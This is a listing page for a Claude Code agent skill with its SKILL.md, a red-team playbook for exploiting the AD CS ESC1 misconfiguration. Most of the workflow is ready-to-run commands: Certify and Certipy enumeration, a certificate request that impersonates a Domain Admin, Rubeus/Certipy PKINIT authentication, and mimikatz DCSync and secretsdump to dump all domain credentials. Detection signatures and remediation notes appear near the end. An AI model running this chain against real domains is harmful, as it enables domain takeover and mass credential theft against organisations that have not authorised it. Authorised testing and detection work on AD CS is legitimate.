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Exploiting Active Directory Certificate Services

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Leverage AD CS vulnerabilities for privilege escalation.

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Free · Opens the source repo

What Exploiting Active Directory Certificate Services does

The Exploiting Active Directory Certificate Services ESC1 skill enables users to exploit a specific misconfiguration in Active Directory Certificate Services (AD CS) to escalate privileges during authorized security assessments. This vulnerability, known as ESC1, allows a low-privileged user to request a certificate on behalf of high-privileged users, such as Domain Admins, by utilizing the 'Supply in Request' flag in certificate templates. The skill provides a structured approach to identifying vulnerable templates and executing the necessary steps to forge certificates, ultimately leading to privilege escalation within a domain.

This skill is particularly useful for red team professionals and penetration testers who need to simulate attacks on Active Directory environments. By following the outlined workflows, users can enumerate the AD CS infrastructure, identify misconfigured templates, and execute certificate requests that impersonate high-privileged accounts. The skill includes detailed instructions and scripts for both Windows and Linux environments, ensuring that users can effectively carry out the exploitation process regardless of their operating system.

Incorporating this skill into your security testing toolkit allows for a deeper understanding of AD CS vulnerabilities and enhances the ability to conduct thorough assessments. Additionally, it can aid in building detection capabilities by providing insights into offensive techniques. The skill is grounded in documented research and aligns with the MITRE ATT&CK framework, making it a valuable resource for security professionals looking to strengthen their red teaming capabilities.

When to use it

Use this skill during authorized red team assessments or penetration testing engagements focused on Active Directory environments.

When not to use it

This skill is not suitable for environments without proper authorization or for users unfamiliar with red teaming concepts.

What you can build with it

Red Team Assessment

Utilize the skill to simulate attacks on Active Directory environments during authorized red team engagements.

Malware Analysis

Employ the skill to analyze malware samples that exploit AD CS vulnerabilities in a controlled lab setting.

Building Detection Capabilities

Use insights from this skill to enhance detection mechanisms for AD CS misconfigurations in your security infrastructure.

How to install Exploiting Active Directory Certificate Services

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1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/exploiting-active-directory-certificate-services-esc1 --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Exploiting Active Directory Certificate Services ESC1

Overview

ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).

When to Use

  • When performing authorized security testing that involves exploiting active directory certificate services esc1
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
  • Identify vulnerable ESC1 templates with "Supply in Request" enabled
  • Request a certificate specifying a Domain Admin in the SAN field
  • Authenticate using the forged certificate via PKINIT to obtain a TGT
  • Escalate privileges to Domain Admin using the obtained Kerberos ticket
  • Document the full attack chain for the engagement report

MITRE ATT&CK Mapping

  • T1649 - Steal or Forge Authentication Certificates
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1484 - Domain Policy Modification
  • T1087.002 - Account Discovery: Domain Account

Workflow

Phase 1: AD CS Enumeration

  1. Enumerate Certificate Authority (CA) servers in the domain:
    # Using Certify (Windows)
    Certify.exe cas
    
    # Using Certipy (Linux/Python)
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
    
  2. Enumerate all certificate templates and identify vulnerable ones:
    # Using Certify - find vulnerable templates
    Certify.exe find /vulnerable
    
    # Using Certipy - outputs JSON and text reports
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
    
  3. Verify ESC1 conditions on identified templates:
    • msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECT
    • pkiExtendedKeyUsage contains Client Authentication or Smart Card Logon
    • msPKI-Enrollment-Flag does not require manager approval
    • Low-privileged group (Domain Users, Authenticated Users) has Enroll rights

Phase 2: Certificate Request with Arbitrary SAN

  1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
    # Using Certify (Windows)
    Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
    
    # Using Certipy (Linux)
    certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
    
  2. The CA issues a certificate with the Domain Admin's UPN in the SAN field
  3. Save the output certificate in PFX/PEM format

Phase 3: Authentication with Forged Certificate

  1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  2. Authenticate using PKINIT to obtain a TGT for the impersonated user:
    # Using Rubeus (Windows)
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
    
    # Using Certipy (Linux)
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
    
  3. The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)

Phase 4: Domain Privilege Escalation

  1. With the Domain Admin TGT, perform privileged operations:
    # DCSync to dump all domain credentials
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
    
    # Or using secretsdump.py with the obtained NT hash
    secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
    
  2. Validate Domain Admin access:
    # List domain controllers
    dir \\DC01.domain.local\C$
    
    # Access Domain Admin shares
    dir \\DC01.domain.local\SYSVOL
    

Tools and Resources

ToolPurposePlatform
CertifyAD CS enumeration and certificate requestsWindows (.NET)
CertipyAD CS enumeration, request, and authenticationLinux (Python)
RubeusKerberos authentication with certificates (PKINIT)Windows (.NET)
MimikatzCredential dumping post-escalationWindows
secretsdump.pyRemote credential dumping (Impacket)Linux (Python)
PSPKIAuditPowerShell AD CS auditing moduleWindows
ForgeCertCertificate forgery toolWindows (.NET)

Vulnerable Template Indicators

ConditionVulnerable Value
msPKI-Certificate-Name-FlagENROLLEE_SUPPLIES_SUBJECT (1)
pkiExtendedKeyUsageClient Authentication (1.3.6.1.5.5.7.3.2)
Enrollment RightsDomain Users or Authenticated Users
msPKI-Enrollment-FlagNo manager approval required
CA SettingNo approval workflow enforced

Detection Signatures

IndicatorDetection Method
Certificate request with SAN different from requesterWindows Event 4886 / 4887 on CA server
Unusual PKINIT authenticationEvent 4768 with certificate-based pre-auth
Certify.exe or Certipy executionEDR process monitoring and command-line logging
Mass certificate template enumerationLDAP query monitoring for pkiCertificateTemplate objects
Certificate issued to non-matching UPNCA audit logs and certificate transparency

Validation Criteria

  • AD CS Certificate Authority enumerated
  • Vulnerable ESC1 templates identified with Certify or Certipy
  • Certificate requested with Domain Admin SAN successfully
  • PKINIT authentication performed with forged certificate
  • Domain Admin TGT obtained
  • Privileged access to domain controller validated
  • Full attack chain documented with evidence
  • Remediation recommendations provided (disable Supply in Request, require manager approval)

Frequently asked questions about Exploiting Active Directory Certificate Services

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